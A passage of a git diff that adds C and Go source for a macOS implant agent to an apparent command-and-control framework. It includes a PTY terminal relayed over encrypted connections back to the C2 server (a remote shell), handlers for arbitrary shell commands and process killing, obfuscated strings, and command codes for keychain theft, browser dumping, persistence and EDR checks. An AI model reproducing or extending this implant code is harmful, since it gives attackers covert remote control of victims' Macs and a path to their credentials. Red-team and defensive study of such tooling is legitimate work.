R_exit(1); + + // Set terminal size + struct winsize ws; + ws.ws_col = (unsigned short)width; + ws.ws_row = (unsigned short)height; + ws.ws_xpixel = 0; + ws.ws_ypixel = 0; + R_ioctl(slave, TIOCSWINSZ, &ws); + + // Set as controlling terminal + R_ioctl(slave, TIOCSCTTY, 0); + + R_dup2(slave, 0); + R_dup2(slave, 1); + R_dup2(slave, 2); + if (slave > 2) R_close(slave); + + // Set TERM environment + R_setenv("TERM", "xterm-256color", 1); + + extern char*** _NSGetEnviron(void); + char** environ = *_NSGetEnviron(); + char* argv_term[] = { (char*)program, (char*)0 }; + R_execve(program, argv_term, environ); + R_exit(1); + } + + // Parent + *master_fd = master; + *child_pid_out = pid; + return 0; +} + +typedef struct { + int terminal_idx; + int term_id; + char program[256]; + int width; + int height; +} terminal_args_t; + +static void* terminal_thread(void* arg) { + terminal_args_t* targs = (terminal_args_t*)arg; + job_context_t* ctx = &g_job_ctx; + + R_pthread_mutex_lock(&ctx->terminals_mutex); + terminal_entry_t* term = &ctx->terminals[targs->terminal_idx]; + R_pthread_mutex_unlock(&ctx->terminals_mutex); + + // Create PTY + int alive = 1; + char status_msg[256] = {0}; + + if (pty_fork(targs->program, targs->width, targs->height, + &term->pty_master, &term->child_pid) != 0) { + alive = 0; + ax_strcpy(status_msg, "PTY creation failed"); + } + + // Open connection to C2 + if (jobs_open_connection(ctx, &term->srv_conn) != 0) { + if (term->pty_master >= 0) R_close(term->pty_master); + if (term->child_pid > 0) R_kill(term->child_pid, 9); + term->active = 0; + ax_free(targs, sizeof(terminal_args_t)); + return (void*)0; + } + + // Generate per-terminal AES keys + uint8_t term_key[16], term_iv[16]; + ax_random_bytes(term_key, 16); + ax_random_bytes(term_iv, 16); + + // Send TermPack init + mp_writer_t pack_w; + mp_writer_init(&pack_w, 256); + mp_write_map(&pack_w, 6); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_int(&pack_w, "term_id", targs->term_id); + mp_write_kv_bin(&pack_w, "key", term_key, 16); + mp_write_kv_bin(&pack_w, "iv", term_iv, 16); + mp_write_kv_bool(&pack_w, "alive", alive ? true : false); + mp_write_kv_str(&pack_w, "status", status_msg); + + if (jobs_send_init(ctx, &term->srv_conn, JOB_TERMINAL, + pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + mp_writer_free(&pack_w); + if (term->pty_master >= 0) R_close(term->pty_master); + if (term->child_pid > 0) R_kill(term->child_pid, 9); + conn_close(&term->srv_conn); + term->active = 0; + ax_free(targs, sizeof(terminal_args_t)); + return (void*)0; + } + mp_writer_free(&pack_w); + + if (!alive) { + conn_close(&term->srv_conn); + term->active = 0; + ax_free(targs, sizeof(terminal_args_t)); + return (void*)0; + } + + // Set up AES-CTR streams with context (preserves partial block state) + aes128_ctr_ctx_t dec_ctx, enc_ctx; + aes128_ctr_init(&dec_ctx, term_key, term_iv); + aes128_ctr_init(&enc_ctx, term_key, term_iv); + + // Zero key material + ax_memset(term_key, 0, 16); + ax_memset(term_iv, 0, 16); + + // Bidirectional relay: PTY <-> C2 (AES-CTR encrypted) + uint8_t* buf = (uint8_t*)ax_malloc(TUNNEL_BUF_SIZE); + uint8_t* enc_buf = (uint8_t*)ax_malloc(TUNNEL_BUF_SIZE); + + int srv_fd = term->srv_conn.fd; + int pty_fd = term->pty_master; + + while (!term->canceled) { + fd_set rfds; + FD_ZERO(&rfds); + FD_SET(srv_fd, &rfds); + FD_SET(pty_fd, &rfds); + + int maxfd = srv_fd > pty_fd ? srv_fd : pty_fd; + struct timeval tv = { .tv_sec = 0, .tv_usec = 500000 }; + + int sr = R_select(maxfd + 1, &rfds, (void*)0, (void*)0, &tv); + if (sr < 0) { + if (errno == EINTR) continue; + break; + } + if (sr == 0) { + // Check if child process is still running + int wstatus; + int wr = R_waitpid(term->child_pid, &wstatus, WNOHANG); + if (wr > 0) break; // Child exited + continue; + } + + // Server → PTY (user input, decrypt) + if (FD_ISSET(srv_fd, &rfds)) { + ssize_t n = R_read(srv_fd, buf, TUNNEL_BUF_SIZE); + if (n <= 0) break; + + aes128_ctr_process(&dec_ctx, buf, enc_buf, (size_t)n); + + size_t written = 0; + while (written < (size_t)n) { + ssize_t wr = R_write(pty_fd, enc_buf + written, (size_t)n - written); + if (wr <= 0) goto term_cleanup; + written += (size_t)wr; + } + } + + // PTY → Server (shell output, encrypt) + if (FD_ISSET(pty_fd, &rfds)) { + ssize_t n = R_read(pty_fd, buf, TUNNEL_BUF_SIZE); + if (n <= 0) break; + + aes128_ctr_process(&enc_ctx, buf, enc_buf, (size_t)n); + + size_t written = 0; + while (written < (size_t)n) { + ssize_t wr = R_write(srv_fd, enc_buf + written, (size_t)n - written); + if (wr <= 0) goto term_cleanup; + written += (size_t)wr; + } + } + } + +term_cleanup: + ax_free(buf, TUNNEL_BUF_SIZE); + ax_free(enc_buf, TUNNEL_BUF_SIZE); + ax_memset(&dec_ctx, 0, sizeof(dec_ctx)); + ax_memset(&enc_ctx, 0, sizeof(enc_ctx)); + + // Kill shell process + if (term->child_pid > 0) { + R_kill(term->child_pid, 9); // SIGKILL + R_waitpid(term->child_pid, (void*)0, 0); + } + + if (term->pty_master >= 0) R_close(term->pty_master); + conn_close(&term->srv_conn); + + R_pthread_mutex_lock(&ctx->terminals_mutex); + term->active = 0; + R_pthread_mutex_unlock(&ctx->terminals_mutex); + + ax_free(targs, sizeof(terminal_args_t)); + return (void*)0; +} + +int task_terminal_start(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + // Parse ParamsTerminalStart{TermId, Program, Width, Height} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + int term_id = -1; + char program[256] = {0}; + int width = 80, height = 24; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 7 && ax_memcmp(k, "term_id", 7) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) term_id = (int)v; + else { + int64_t sv; + if (mp_read_int(&r, &sv) == 0) term_id = (int)sv; + } + } else if (kl == 7 && ax_memcmp(k, "program", 7) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(program)) { ax_memcpy(program, v, vl); program[vl] = '\0'; } + } else if (kl == 5 && ax_memcmp(k, "width", 5) == 0) { + uint64_t v; mp_read_uint(&r, &v); width = (int)v; + } else if (kl == 6 && ax_memcmp(k, "height", 6) == 0) { + uint64_t v; mp_read_uint(&r, &v); height = (int)v; + } else { + mp_skip(&r); + } + } + + if (term_id < 0 || program[0] == '\0') { + write_error(w, "missing terminal params"); + return 0; + } + + job_context_t* ctx = &g_job_ctx; + + // Allocate terminal slot + R_pthread_mutex_lock(&ctx->terminals_mutex); + int idx = -1; + for (int i = 0; i < MAX_TERMINALS; i++) { + if (!ctx->terminals[i].active) { + idx = i; + ax_memset(&ctx->terminals[i], 0, sizeof(terminal_entry_t)); + ctx->terminals[i].srv_conn.fd = -1; + ctx->terminals[i].pty_master = -1; + ctx->terminals[i].child_pid = -1; + ctx->terminals[i].term_id = term_id; + ctx->terminals[i].active = 1; + break; + } + } + R_pthread_mutex_unlock(&ctx->terminals_mutex); + + if (idx < 0) { write_error(w, "max terminals reached"); return 0; } + + // Prepare thread args + terminal_args_t* ta = (terminal_args_t*)ax_malloc(sizeof(terminal_args_t)); + ta->terminal_idx = idx; + ta->term_id = term_id; + ax_strncpy(ta->program, program, sizeof(ta->program) - 1); + ta->width = width; + ta->height = height; + + R_pthread_create(&ctx->terminals[idx].thread, (void*)0, terminal_thread, ta); + R_pthread_detach(ctx->terminals[idx].thread); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal starting"); + return 0; +} + +// Parse TermId from terminal stop params +static int parse_term_id(const uint8_t* data, uint32_t data_len) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == 7 && ax_memcmp(k, "term_id", 7) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) return (int)v; + int64_t sv; + if (mp_read_int(&r, &sv) == 0) return (int)sv; + return -1; + } + mp_skip(&r); + } + return -1; +} + +int task_terminal_stop(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + int tid = parse_term_id(data, data_len); + if (tid < 0) { write_error(w, "missing term_id"); return 0; } + + int idx = terminals_find(&g_job_ctx, tid); + if (idx < 0) { write_error(w, "terminal not found"); return 0; } + + g_job_ctx.terminals[idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal stopped"); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.h new file mode 100644 index 000000000..3a67bb9f3 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.h @@ -0,0 +1,19 @@ +#ifndef TASKS_NET_H +#define TASKS_NET_H + +#include "msgpack.h" +#include + +/// Network command handlers — tunnel and terminal +/// These launch background threads with separate C2 connections +/// and bidirectional AES-CTR encrypted relays + +int task_tunnel_start(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_tunnel_stop(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_tunnel_pause(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_tunnel_resume(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +int task_terminal_start(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_terminal_stop(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +#endif // TASKS_NET_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.c new file mode 100644 index 000000000..2610f4b48 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.c @@ -0,0 +1,286 @@ +#include "tasks_proc.h" +#include "crt.h" +#include "dyld_resolve.h" +#include "strings_obf.h" + +#include +#include +#include +#include +#include + +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void _dbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +#else +#define _dbg(msg) ((void)0) +#endif + +static void write_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +int task_ps(mp_writer_t* w) { + // Get process list via sysctl(KERN_PROC_ALL) + int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 }; + size_t size = 0; + + if (R_sysctl(mib, 4, NULL, &size, NULL, 0) != 0) { + write_error(w, "sysctl size failed"); + return 0; + } + + uint8_t* buf = (uint8_t*)ax_malloc(size); + if (R_sysctl(mib, 4, buf, &size, NULL, 0) != 0) { + ax_free(buf, size); + write_error(w, "sysctl data failed"); + return 0; + } + + uint32_t nprocs = (uint32_t)(size / sizeof(struct kinfo_proc)); + struct kinfo_proc* procs = (struct kinfo_proc*)buf; + + // Build process list + mp_writer_t proc_writer; + mp_writer_init(&proc_writer, 4096); + mp_write_array(&proc_writer, nprocs); + + for (uint32_t i = 0; i < nprocs; i++) { + struct kinfo_proc* p = &procs[i]; + + // Get username from UID + struct passwd* pw = (struct passwd*)R_getpwuid(p->kp_eproc.e_ucred.cr_uid); + const char* user = pw ? pw->pw_name : ""; + + // TTY name + char tty[32] = ""; + if (p->kp_eproc.e_tdev != 0 && p->kp_eproc.e_tdev != (dev_t)-1) { + // Simplified — just show device number + ax_strcpy(tty, "?"); + } + + // PsInfo map (declaration order from Go struct) + mp_write_map(&proc_writer, 5); + mp_write_kv_int(&proc_writer, "pid", p->kp_proc.p_pid); + mp_write_kv_int(&proc_writer, "ppid", p->kp_eproc.e_ppid); + mp_write_kv_str(&proc_writer, "tty", tty); + mp_write_kv_str(&proc_writer, "context", user); + mp_write_kv_str(&proc_writer, "process", p->kp_proc.p_comm); + } + + ax_free(buf, size); + + // Response: AnsPs {result, status, processes} + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 1); + mp_write_kv_str(w, "status", ""); + mp_write_kv_bin(w, "processes", proc_writer.buf.data, (uint32_t)proc_writer.buf.len); + + mp_writer_free(&proc_writer); + return 0; +} + +int task_kill(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + // Parse ParamsKill {pid: int} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid params"); + return 0; + } + + int target_pid = 0; + for (uint32_t i = 0; i < map_count; i++) { + const char* key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + if (klen == 3 && ax_memcmp(key, "pid", 3) == 0) { + int64_t v; + if (mp_read_int(&r, &v) == 0) target_pid = (int)v; + else { uint64_t u; mp_read_uint(&r, &u); target_pid = (int)u; } + } else { + mp_skip(&r); + } + } + + if (target_pid <= 0) { + write_error(w, "invalid pid"); + return 0; + } + + if (R_kill(target_pid, SIGKILL) != 0) { + write_error(w, "kill failed"); + return 0; + } + + mp_write_nil(w); + return 0; +} + +int task_shell(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + // Parse ParamsShell {program: string, args: []string} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid params"); + return 0; + } + + DEOBF(default_shell, OBF_ZSH); + char program[4096]; + ax_strcpy(program, default_shell); + ZERO_STR(default_shell, OBF_ZSH); + char** args = NULL; + uint32_t arg_count = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 7 && ax_memcmp(key, "program", 7) == 0) { + const char* val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) == 0) { + if (vlen >= sizeof(program)) vlen = sizeof(program) - 1; + ax_memcpy(program, val, vlen); + program[vlen] = '\0'; + } + } else if (klen == 4 && ax_memcmp(key, "args", 4) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) == 0) { + arg_count = arr_count; + args = (char**)ax_malloc(arr_count * sizeof(char*)); + for (uint32_t j = 0; j < arr_count; j++) { + const char* val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) == 0) { + args[j] = (char*)ax_malloc(vlen + 1); + ax_memcpy(args[j], val, vlen); + args[j][vlen] = '\0'; + } else { + args[j] = (char*)ax_malloc(1); + args[j][0] = '\0'; + } + } + } + } else { + mp_skip(&r); + } + } + +#ifdef DEBUG_TRACE + { + _dbg("[SHELL] parsed params:"); + _dbg(program); + char abuf[64]; + int ai = 0; + const char* ap = "[SHELL] arg_count="; + while (*ap) abuf[ai++] = *ap++; + uint32_t av = arg_count; + char nb[12]; int ni = 0; + do { nb[ni++] = '0' + (av % 10); av /= 10; } while (av > 0); + while (ni > 0) abuf[ai++] = nb[--ni]; + abuf[ai] = '\0'; + _dbg(abuf); + for (uint32_t j = 0; j < arg_count && j < 4; j++) { + _dbg(args[j]); + } + } +#endif + + // Create pipes for stdout+stderr + int pipefd[2]; + if (R_pipe(pipefd) != 0) { + write_error(w, "pipe failed"); + goto cleanup; + } + + pid_t pid = R_fork(); + if (pid < 0) { + R_close(pipefd[0]); + R_close(pipefd[1]); + write_error(w, "fork failed"); + goto cleanup; + } + + if (pid == 0) { + // Child + R_close(pipefd[0]); + R_dup2(pipefd[1], STDOUT_FILENO); + R_dup2(pipefd[1], STDERR_FILENO); + R_close(pipefd[1]); + + // Build argv: [program, args..., NULL] + char** argv = (char**)ax_malloc((arg_count + 2) * sizeof(char*)); + argv[0] = program; + for (uint32_t j = 0; j < arg_count; j++) argv[j + 1] = args[j]; + argv[arg_count + 1] = NULL; + + // Use execve with environ from _NSGetEnviron (execvp may fail with -nostdlib) + extern char*** _NSGetEnviron(void); + char** environ = *_NSGetEnviron(); + R_execve(program, argv, environ); + R_exit(127); + } + + // Parent + R_close(pipefd[1]); + + // Read output + buffer_t output; + buf_init(&output, 4096); + char read_buf[4096]; + ssize_t n; + while ((n = R_read(pipefd[0], read_buf, sizeof(read_buf))) > 0) { + buf_append(&output, (uint8_t*)read_buf, (size_t)n); + } + R_close(pipefd[0]); + + int status; + R_waitpid(pid, &status, 0); + +#ifdef DEBUG_TRACE + { + char obuf[80]; + int oi = 0; + const char* op = "[SHELL] output_len="; + while (*op) obuf[oi++] = *op++; + size_t ov = output.len; + char nb[16]; int ni = 0; + do { nb[ni++] = '0' + (ov % 10); ov /= 10; } while (ov > 0); + while (ni > 0) obuf[oi++] = nb[--ni]; + const char* sp = " status="; + while (*sp) obuf[oi++] = *sp++; + int sv = WEXITSTATUS(status); + ni = 0; + do { nb[ni++] = '0' + (sv % 10); sv /= 10; } while (sv > 0); + while (ni > 0) obuf[oi++] = nb[--ni]; + obuf[oi] = '\0'; + _dbg(obuf); + } +#endif + + // Response: AnsShell {output} + // Null-terminate for safety + char nul = '\0'; + buf_append(&output, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)output.data); + buf_free(&output); + +cleanup: + if (args) { + for (uint32_t j = 0; j < arg_count; j++) { + if (args[j]) ax_free(args[j], ax_strlen(args[j]) + 1); + } + ax_free(args, arg_count * sizeof(char*)); + } + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.h new file mode 100644 index 000000000..f9ae28309 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.h @@ -0,0 +1,11 @@ +#ifndef TASKS_PROC_H +#define TASKS_PROC_H + +#include "msgpack.h" +#include + +int task_ps(mp_writer_t* w); +int task_kill(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_shell(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +#endif // TASKS_PROC_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/types.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/types.h new file mode 100644 index 000000000..b1f275785 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/types.h @@ -0,0 +1,72 @@ +#ifndef TYPES_H +#define TYPES_H + +#include +#include + +/// Command codes — must match Go pl_utils.go exactly +#define COMMAND_ERROR 0 +#define COMMAND_PWD 1 +#define COMMAND_CD 2 +#define COMMAND_SHELL 3 +#define COMMAND_EXIT 4 +#define COMMAND_DOWNLOAD 5 +#define COMMAND_UPLOAD 6 +#define COMMAND_CAT 7 +#define COMMAND_CP 8 +#define COMMAND_MV 9 +#define COMMAND_MKDIR 10 +#define COMMAND_RM 11 +#define COMMAND_LS 12 +#define COMMAND_PS 13 +#define COMMAND_KILL 14 +#define COMMAND_ZIP 15 +#define COMMAND_SCREENSHOT 16 +#define COMMAND_RUN 17 +#define COMMAND_JOB_LIST 18 +#define COMMAND_JOB_KILL 19 + +// macOS-specific (21-30) +#define COMMAND_CLIPBOARD 21 +#define COMMAND_PERSIST 22 +#define COMMAND_TCC_CHECK 23 +#define COMMAND_DEFAULTS 24 +#define COMMAND_EDR_CHECK 25 +#define COMMAND_KEYCHAIN 26 +#define COMMAND_BROWSER_DUMP 27 + +#define COMMAND_TUNNEL_START 31 +#define COMMAND_TUNNEL_STOP 32 +#define COMMAND_TUNNEL_PAUSE 33 +#define COMMAND_TUNNEL_RESUME 34 + +#define COMMAND_TERMINAL_START 35 +#define COMMAND_TERMINAL_STOP 36 + +/// Pack types +#define INIT_PACK 1 +#define EXFIL_PACK 2 +#define JOB_PACK 3 +#define JOB_TUNNEL 4 +#define JOB_TERMINAL 5 + +/// Growable buffer +typedef struct { + uint8_t* data; + size_t len; + size_t cap; +} buffer_t; + +int buf_init(buffer_t* b, size_t initial_cap); +int buf_append(buffer_t* b, const void* data, size_t len); +void buf_free(buffer_t* b); +void buf_reset(buffer_t* b); + +/// Boolean for clarity +#ifndef bool +#define bool _Bool +#define true 1 +#define false 0 +#endif + +#endif // TYPES_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent_macos b/AdaptixServer/extenders/macos_agent/src_agent/agent_macos new file mode 100755 index 000000000..1356ec5f4 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/agent_macos differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/files/config.tpl b/AdaptixServer/extenders/macos_agent/src_agent/files/config.tpl new file mode 100644 index 000000000..222cb6137 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/files/config.tpl @@ -0,0 +1,72 @@ +/// Auto-generated config — per-payload unique profile data +/// This file is compiled with -x c and injected defines: +/// -DPROFILE_COUNT=N +/// -DPROFILE_0="..." -DPROFILE_0_SIZE=N +/// etc. +#ifndef CONFIG_H +#define CONFIG_H + +#include + +#ifndef PROFILE_COUNT +#define PROFILE_COUNT 0 +#endif + +#if PROFILE_COUNT > 0 + +// Profile data arrays — injected via -D defines at compile time +// Each profile is a hex-escaped byte string +static const uint8_t profile_0[] = { PROFILE_0 }; +static const uint32_t profile_0_size = sizeof(profile_0); + +#if PROFILE_COUNT > 1 +static const uint8_t profile_1[] = { PROFILE_1 }; +static const uint32_t profile_1_size = sizeof(profile_1); +#endif + +#if PROFILE_COUNT > 2 +static const uint8_t profile_2[] = { PROFILE_2 }; +static const uint32_t profile_2_size = sizeof(profile_2); +#endif + +#if PROFILE_COUNT > 3 +static const uint8_t profile_3[] = { PROFILE_3 }; +static const uint32_t profile_3_size = sizeof(profile_3); +#endif + +// Arrays for iteration +static const uint8_t* enc_profiles[] = { + profile_0, +#if PROFILE_COUNT > 1 + profile_1, +#endif +#if PROFILE_COUNT > 2 + profile_2, +#endif +#if PROFILE_COUNT > 3 + profile_3, +#endif +}; + +static const uint32_t enc_profile_sizes[] = { + profile_0_size, +#if PROFILE_COUNT > 1 + profile_1_size, +#endif +#if PROFILE_COUNT > 2 + profile_2_size, +#endif +#if PROFILE_COUNT > 3 + profile_3_size, +#endif +}; + +#else + +// No profiles — agent exits immediately +static const uint8_t* enc_profiles[] = { 0 }; +static const uint32_t enc_profile_sizes[] = { 0 }; + +#endif // PROFILE_COUNT > 0 + +#endif // CONFIG_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/agent_info.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/agent_info.o new file mode 100644 index 000000000..e4addacda Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/agent_info.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/commander.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/commander.o new file mode 100644 index 000000000..fa83bb52f Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/commander.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/connector.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/connector.o new file mode 100644 index 000000000..70b70773e Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/connector.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/crt.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/crt.o new file mode 100644 index 000000000..f4c1bd3f7 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/crt.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/crypt.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/crypt.o new file mode 100644 index 000000000..a974b8299 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/crypt.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/dyld_resolve.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/dyld_resolve.o new file mode 100644 index 000000000..88c42aee1 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/dyld_resolve.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/jobs.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/jobs.o new file mode 100644 index 000000000..ebad2b7c3 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/jobs.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/main.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/main.o new file mode 100644 index 000000000..015343380 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/main.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/msgpack.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/msgpack.o new file mode 100644 index 000000000..040475894 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/msgpack.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/opsec.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/opsec.o new file mode 100644 index 000000000..79d1c7b8d Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/opsec.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_async.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_async.o new file mode 100644 index 000000000..30188600c Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_async.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_fs.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_fs.o new file mode 100644 index 000000000..09efc8c05 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_fs.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_macos.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_macos.o new file mode 100644 index 000000000..7270dce53 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_macos.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_net.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_net.o new file mode 100644 index 000000000..342d4addb Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_net.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_proc.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_proc.o new file mode 100644 index 000000000..670134257 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_proc.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_macos/Makefile b/AdaptixServer/extenders/macos_agent/src_macos/Makefile new file mode 100644 index 000000000..ee4e87784 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/Makefile @@ -0,0 +1,4 @@ +all: agent + +agent: + @ GOWORK=off CGO_ENABLED=0 GOOS=darwin GOARCH=arm64 go build -modfile=go.mod -trimpath -ldflags="-s -w" -o agent && rm agent diff --git a/AdaptixServer/extenders/macos_agent/src_macos/config.go b/AdaptixServer/extenders/macos_agent/src_macos/config.go new file mode 100644 index 000000000..2616577f2 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/config.go @@ -0,0 +1,5 @@ +package main + +var encProfiles = [][]byte{ + // Profiles are injected at build time by pl_main.go:BuildPayload() +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/functions/functions.go b/AdaptixServer/extenders/macos_agent/src_macos/functions/functions.go new file mode 100644 index 000000000..46d894ece --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/functions/functions.go @@ -0,0 +1,308 @@ +package functions + +import ( + "archive/zip" + "bytes" + "encoding/binary" + "errors" + "fmt" + "io" + "io/fs" + "net" + "os" + "os/exec" + "path/filepath" +) + +/// FS + +func CopyFile(src, dst string, info fs.FileInfo) error { + source, err := os.Open(src) + if err != nil { + return err + } + defer func(source *os.File) { + _ = source.Close() + }(source) + + dest, err := os.OpenFile(dst, os.O_RDWR|os.O_CREATE|os.O_TRUNC, info.Mode()) + if err != nil { + return err + } + defer func(dest *os.File) { + _ = dest.Close() + }(dest) + + _, err = io.Copy(dest, source) + return err +} + +func CopyDir(srcDir, dstDir string) error { + srcInfo, err := os.Stat(srcDir) + if err != nil { + return err + } + + err = os.MkdirAll(dstDir, srcInfo.Mode()) + if err != nil { + return err + } + + entries, err := os.ReadDir(srcDir) + if err != nil { + return err + } + + for _, entry := range entries { + srcPath := filepath.Join(srcDir, entry.Name()) + dstPath := filepath.Join(dstDir, entry.Name()) + + info, err := entry.Info() + if err != nil { + return err + } + + if info.IsDir() { + err = CopyDir(srcPath, dstPath) + if err != nil { + return err + } + } else { + err = CopyFile(srcPath, dstPath, info) + if err != nil { + return err + } + } + } + return nil +} + +/// ZIP + +func ZipBytes(data []byte, name string) ([]byte, error) { + var buf bytes.Buffer + zipWriter := zip.NewWriter(&buf) + + writer, err := zipWriter.Create(name) + if err != nil { + return nil, err + } + + _, err = writer.Write(data) + if err != nil { + return nil, err + } + + err = zipWriter.Close() + if err != nil { + return nil, err + } + + return buf.Bytes(), nil +} + +func UnzipBytes(zipData []byte) (map[string][]byte, error) { + result := make(map[string][]byte) + reader := bytes.NewReader(zipData) + + zipReader, err := zip.NewReader(reader, int64(len(zipData))) + if err != nil { + return nil, err + } + + for _, file := range zipReader.File { + rc, err := file.Open() + if err != nil { + return nil, err + } + + var buf bytes.Buffer + _, err = io.Copy(&buf, rc) + rc.Close() + if err != nil { + return nil, err + } + + result[file.Name] = buf.Bytes() + } + + return result, nil +} + +func ZipFile(srcFilePath string) ([]byte, error) { + buf := new(bytes.Buffer) 